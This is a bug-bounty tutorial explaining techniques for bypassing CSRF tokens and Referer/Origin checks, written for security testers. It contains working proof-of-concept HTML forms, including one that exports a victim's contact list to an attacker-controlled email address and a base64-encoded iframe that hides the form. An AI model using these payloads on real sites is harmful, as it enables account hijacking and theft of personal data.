Creator

Me

zseano
 


About Hey! I'm zseano and I run BugBountyNotes. I do bugbounties full time and I managed to reach the top 10 on bugcrowd in just 8months from one program. I am lucky to attend live events by HackerOne and this is what inspired me to create this! :) I specialise in webapp testing and I love helping others. Feel free to reach out

Bypassing CSRF protection


Cross Site Request Forgery (CSRF) tokens are designed to stop a hidden FORM POST on evil.com from being submitted secretly to hijack your account on example.com. Websites such as Facebook implement this by using something called fb_dtsg, and the general purpose is you can only do an action (such as update your email) if a valid fb_dtsg value is sent with the request. Unless the attacker has XSS, no attacker can get this unique value and spoof a request when you visit their malicious site. In this tutorial i'm going to describe an interesting bypass I found, as well as things you can also try.


The site has a CSRF token.. isn't vulnerable

Think again! One bounty program had CSRF tokens on all their requests. Literally every action you did a CSRF token was sent with it. The bypass was actually extremely simple and made use of clickjacking. When updating the email of my account, sending a blank csrfToken value would actually cause the changes I wanted to make to be reflected but with an error: CSRF_token is invalid. Please submit again.. The email hadn't successfuly updated, but it had been reflected back on the page. See where i'm going with thiS? Thanks to the lack of X-FRAME-OPTIONS, I was able to submit the request to update email, then iframe the result and clickjack the user to click "submit". The email on that users attacked has just been updated to mine!

*You may notice this sounds very familar to challenge 3 on our training. If you haven't already, go ahead and try it here https://www.bugbountynotes.com/challenge?id=3


Other common ways to bypass CSRF tokens

  1. Blank CSRF token Extremely simple, just try send a blank CSRF value and see if they validate it server side. Don't forget to also see if the changes you tried to make are reflected back on the page. Combine this with clickjack and you have a potential site wide CSRF issue!

  2. Sharing CSRF tokens I've had cases where aslong as the users session is valid, that users CSRF token can be shared upon any other account. Create two accounts and see if you can share csrf tokens between them.

  3. Change one character Sometimes a site will only check the length of a CSRF token (silly I know..). Try change one character (so it's the same length) and see what happens. You'd be surprised.

  4. Using .swf files https://www.twitter.com/avlidienbrunn made a great report about using .swf files for CSRF: "https://hackerone.com/reports/44146">https://hackerone.com/reports/44146 - no words needed, let the report do the talking!


Can you CSRF a JSON&XML payload?

Sure you can! This one might require some playing, since you have to make use of the the "=" character somewhere sometimes. Below is the HTML I use for XML posting

<html>
     <body>
        <form ENCTYPE="text/plain" action="http://vulnsite.com/snip/snippet.php" method="post"> 
        <input type="hidden" name="<foo> <html xmlns:html='http://www.w3.org/1999/xhtml'> <html:script>alert(1);</html:script> </html> </foo>">
         <input type="submit" value="submit"> </form>
     </body>
  </html>

And JSON posting (the example provided below i a poc I used for exporting a users contact list on a bounty program)

<html>
     <body>
        <form ENCTYPE="text/plain" action="http://vulnsite.com/snip/snippet.php" method="post"> 
        <input type="hidden" name="{"params":{"limit":20,"and":false,"filters":[],"excluded_contacts":[]},"fields":["First Name","Last Name","Email Address","Title","Notes","Organization","Street","City","State","Tags","Zip Code","Phone Number","Gender","Event ID","Event Title","VIP","Twitter Handle","Twitter URL","Twitter Followers","Twitter Following","Facebook Name","Facebook URL","Facebook Friends","Instagram Handle","Instagram URL","Instagram Followers","Instagram Following","Website","Date Added","Unsubscribed"],"recipient":"myemail+2" value='@gmail.com'>
         <input type="submit" value="submit"> </form>
     </body>
  </html>

Notice how i'm making use of the = character in the second request in the email parameter? Thanks to the way google mail works, an email sent to [email protected] will actually go to [email protected]


CSRF protection via referer

I've seen sites check the if the Referer is their site, and if yes = allow the request. If no = block the request. An interesting approach to stopping CSRF attacks, but as I blogged about years ago here: https://zseano.com/blogs/4.html, there are some interesting ways to bypass this.

  1. https://www.yoursite.com/https://www.theirsite.com/ Some sites only check if it CONTAINS their website url, meaning we can just create a file/folder on our site to send the CSRF request from.

  2. Send a blank referer Submitting a form (as shown in blog linked above) inside an iframe will actually give you a blank referer. Sometimes this is enough to bypass their protection.

  3. Submit a blank origin This will only work on Firefox but if base64 encoded your form above and then submitted it inside an iframe, the Origin header is set to null, or sometimes not sent at all. Some sites will only check if the header is present ;)

<iframe src=data:text/html;base64,PGh0bWw+CiAgICAgPGJvZHk+CiAgICAgICAgPGZvcm0gRU5DVFlQRT0idGV4dC9wbGFpbiIgYWN0aW9uPSJodHRwOi8vdnVsbnNpdGUuY29tL3NuaXAvc25pcHBldC5waHAiIG1ldGhvZD0icG9zdCI+IAogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InsicGFyYW1zIjp7ImxpbWl0IjoyMCwiYW5kIjpmYWxzZSwiZmlsdGVycyI6W10sImV4Y2x1ZGVkX2NvbnRhY3RzIjpbXX0sImZpZWxkcyI6WyJGaXJzdCBOYW1lIiwiTGFzdCBOYW1lIiwiRW1haWwgQWRkcmVzcyIsIlRpdGxlIiwiTm90ZXMiLCJPcmdhbml6YXRpb24iLCJTdHJlZXQiLCJDaXR5IiwiU3RhdGUiLCJUYWdzIiwiWmlwIENvZGUiLCJQaG9uZSBOdW1iZXIiLCJHZW5kZXIiLCJFdmVudCBJRCIsIkV2ZW50IFRpdGxlIiwiVklQIiwiVHdpdHRlciBIYW5kbGUiLCJUd2l0dGVyIFVSTCIsIlR3aXR0ZXIgRm9sbG93ZXJzIiwiVHdpdHRlciBGb2xsb3dpbmciLCJGYWNlYm9vayBOYW1lIiwiRmFjZWJvb2sgVVJMIiwiRmFjZWJvb2sgRnJpZW5kcyIsIkluc3RhZ3JhbSBIYW5kbGUiLCJJbnN0YWdyYW0gVVJMIiwiSW5zdGFncmFtIEZvbGxvd2VycyIsIkluc3RhZ3JhbSBGb2xsb3dpbmciLCJXZWJzaXRlIiwiRGF0ZSBBZGRlZCIsIlVuc3Vic2NyaWJlZCJdLCJyZWNpcGllbnQiOiJteWVtYWlsKzIiIHZhbHVlPSdAZ21haWwuY29tJz4KICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9InN1Ym1pdCI+IDwvZm9ybT4KICAgICA8L2JvZHk+CiAgPC9odG1sPg==>